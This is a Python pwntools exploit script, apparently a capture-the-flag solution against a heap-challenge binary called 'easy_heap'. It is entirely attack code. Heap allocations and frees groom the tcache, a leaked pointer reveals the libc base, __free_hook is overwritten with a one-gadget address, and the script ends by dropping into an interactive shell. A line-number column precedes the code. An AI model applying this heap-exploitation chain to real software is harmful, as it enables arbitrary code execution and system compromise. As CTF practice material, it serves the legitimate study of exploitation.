| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 
 | 
 from pwn import *
 
 
 def Add(p, size, content):
 p.sendlineafter('> ', str(1))
 p.sendlineafter('> ', str(size))
 p.sendlineafter('> ', content)
 
 
 def Delete(p, idx):
 p.sendlineafter('> ', str(2))
 p.sendlineafter('> ', str(idx))
 
 
 def Show(p, idx):
 p.sendlineafter('> ', str(3))
 p.sendlineafter('> ', str(idx))
 
 
 def pwn():
 BIN_PATH = './easy_heap'
 DEBUG = 1
 context.arch = 'amd64'
 if DEBUG == 1:
 p = process(BIN_PATH)
 elf = ELF(BIN_PATH)
 context.log_level = 'debug'
 context.terminal = ['tmux', 'split', '-h']
 if context.arch == 'amd64':
 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 else:
 libc = ELF('/lib/i386-linux-gnu/libc.so.6')
 else:
 pass
 
 for i in range(10):
 Add(p, 0x20, 'sunichi')
 
 Delete(p, 1)
 for i in range(3, 8):
 Delete(p, i)
 Delete(p, 9)
 Delete(p, 8)
 Delete(p, 2)
 Delete(p, 0)
 
 for i in range(7):
 Add(p, 0x20, 'sunichi')
 
 p.sendlineafter('> ', str(1))
 p.sendlineafter('> ', str(0))
 p.sendafter('> ', '')
 
 Add(p, 0xf8, '')
 
 for i in range(0, 5):
 Delete(p, i)
 Delete(p, 6)
 Delete(p, 5)
 Show(p, 8)
 recv = p.recvuntil('\n', drop=True) + '\x00\x00'
 libc.address = u64(recv) - (0x7ffff7dcfca0 - 0x7ffff79e4000)
 print hex(libc.address)
 
 for i in range(7):
 Add(p, 0x20, 'sunichi')
 
 Add(p, 0x20, 'sunichi')
 Delete(p, 0)
 Delete(p, 8)
 Delete(p, 1)
 Delete(p, 9)
 
 Add(p, 0x20, p64(libc.symbols['__free_hook'])[:6])
 Add(p, 0x20, 'sunichi')
 Add(p, 0x20, 'sunichi')
 Add(p, 0x20, p64(libc.address + 0x4f322)[:6])
 
 Delete(p, 1)
 p.interactive()
 p.close()
 
 
 if __name__ == '__main__':
 pwn()
 
 
 |